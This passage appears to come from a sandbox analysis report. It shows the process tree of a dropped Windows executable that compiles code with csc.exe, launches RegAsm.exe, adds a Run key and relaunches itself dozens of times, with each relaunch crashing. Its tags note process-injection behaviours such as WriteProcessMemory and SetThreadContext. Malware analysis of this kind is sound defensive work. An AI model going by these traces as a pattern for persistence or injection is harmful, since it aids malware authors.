    - Suspicious use of WriteProcessMemory
    PID:2224
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:380
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\te3jeool\te3jeool.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3796
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9798.tmp" "c:\Users\Admin\AppData\Local\Temp\te3jeool\CSC2ED0EAECAE084DF0B4A3BDF5483A9E8.TMP"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1784
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pby1fmll\pby1fmll.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2476
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9BED.tmp" "c:\Users\Admin\AppData\Local\Temp\pby1fmll\CSC85030FDDEF8439494509742CB2CB026.TMP"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1032
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5676
    - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6140
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3rxtzfbo\3rxtzfbo.cmdline"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5252
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD2AD.tmp" "c:\Users\Admin\AppData\Local\Temp\3rxtzfbo\CSCAAA5318871584B55A68242224CD1EC4.TMP"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5920
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gh32e1bz\gh32e1bz.cmdline"
        6⤵
        
        PID:9528
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES17D.tmp" "c:\Users\Admin\AppData\Local\Temp\gh32e1bz\CSC78D08CEFA9F14FBC8242BC152DC1BE13.TMP"
        7⤵
        
        PID:9396
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:8200
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:10624
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 10624 -s 944
        7⤵
        Program crash
        
        PID:12224
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:12188
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 12188 -s 964
        7⤵
        Program crash
        
        PID:9996
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:9680
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9680 -s 944
        7⤵
        Program crash
        
        PID:10360
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:10128
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 10128 -s 940
        7⤵
        Program crash
        
        PID:11012
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:6384
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6384 -s 940
        7⤵
        Program crash
        
        PID:10876
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:12200
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 12200 -s 940
        7⤵
        Program crash
        
        PID:11432
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:7576
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7576 -s 940
        7⤵
        Program crash
        
        PID:10588
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:7428
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7428 -s 956
        7⤵
        Program crash
        
        PID:7040
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:10964
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 10964 -s 948
        7⤵
        Program crash
        
        PID:6084
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:5944
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 940
        7⤵
        Program crash
        
        PID:10352
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:9400
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9400 -s 940
        7⤵
        Program crash
        
        PID:9288
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:7820
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7820 -s 940
        7⤵
        Program crash
        
        PID:9780
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:5944
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5944 -s 940
        7⤵
        Program crash
        
        PID:1604
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:1932
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1932 -s 944
        7⤵
        
        PID:9000
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:5108
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5108 -s 940
        7⤵
        
        PID:7440
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:10940
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 10940 -s 940
        7⤵
        
        PID:7440
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:12648
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 12648 -s 968
        7⤵
        
        PID:12788
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:13092
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 13092 -s 940
        7⤵
        
        PID:13284
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:13176
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 13176 -s 960
        7⤵
        
        PID:13988
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:13160
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 13160 -s 964
        7⤵
        
        PID:12656
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:13376
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 13376 -s 940
        7⤵
        
        PID:13520
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:13228
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 13228 -s 944
        7⤵
        
        PID:13044
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:14124
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 14124 -s 940
        7⤵
        
        PID:12540
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:13456
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 13456 -s 944
        7⤵
        
        PID:12384
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:14460
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 14460 -s 940
        7⤵
        
        PID:14676
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:14808
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 14808 -s 940
        7⤵
        
        PID:3404
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:14860
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 14860 -s 940
        7⤵
        
        PID:14452
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:13208
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 13208 -s 964
        7⤵
        
        PID:15536
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:16172
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 16172 -s 964
        7⤵
        
        PID:14524
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:15984
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 15984 -s 940
        7⤵
        
        PID:7812
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:9536
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9536 -s 940
        7⤵
        
        PID:16500
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:16952
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 16952 -s 940
        7⤵
        
        PID:17160
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:16764
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 16764 -s 944
        7⤵
        
        PID:17096
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:1868
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1868 -s 940
        7⤵
        
        PID:17404
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:17724
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 17724 -s 940
        7⤵
        
        PID:17980
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:18404
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 18404 -s 964
        7⤵
        
        PID:18796
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:18632
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 18632 -s 940
        7⤵
        
        PID:4904
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:20008
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 20008 -s 940
        7⤵
        
        PID:20236
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:916
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 940
        7⤵
        
        PID:20160
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:19864
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 19864 -s 940
        7⤵
        
        PID:19468
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:20980
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 20980 -s 940
        7⤵
        
        PID:21200
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:20684
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 20684 -s 944
        7⤵
        
        PID:20968
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:19752
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 19752 -s 940
        7⤵
        
        PID:21204
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:21704
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 21704 -s 940
        7⤵
        
        PID:21836
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:22308
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 22308 -s 940
        7⤵
        
        PID:22444
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:21708
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 21708 -s 940
        7⤵
        
        PID:10028
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:23284
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 23284 -s 940
        7⤵
        
        PID:23472
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:21744
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 21744 -s 940
        7⤵
        
        PID:23472
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:23264
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 23264 -s 940
        7⤵
        
        PID:23384
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:24020
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 24020 -s 940
        7⤵
        
        PID:24244
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:23968
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 23968 -s 940
        7⤵
        
        PID:24420
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:28404
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 28404 -s 944
        7⤵
        
        PID:24056
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:24996
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 24996 -s 940
        7⤵
        
        PID:24668
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:26340
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 26340 -s 964
        7⤵
        
        PID:25796
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:26156
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 26156 -s 940
        7⤵
        
        PID:8140
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:27904
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 27904 -s 940
        7⤵
        
        PID:28068
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:26476
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 26476 -s 940
        7⤵
        
        PID:25284
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:26664
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 26664 -s 940
        7⤵
        
        PID:27224
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:26092
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 26092 -s 940
        7⤵
        
        PID:27360
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:23476
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 23476 -s 940
        7⤵
        
        PID:2132
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:25020
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 25020 -s 940
        7⤵
        
        PID:28800
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:29328
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 29328 -s 940
        7⤵
        
        PID:29548
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:29012
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 29012 -s 940
        7⤵
        
        PID:29444
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\HPXmmgLUSavYuccxma5.exe"
        6⤵
        
        PID:28836
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 28836 -s 940
        7⤵
        
        PID:29652
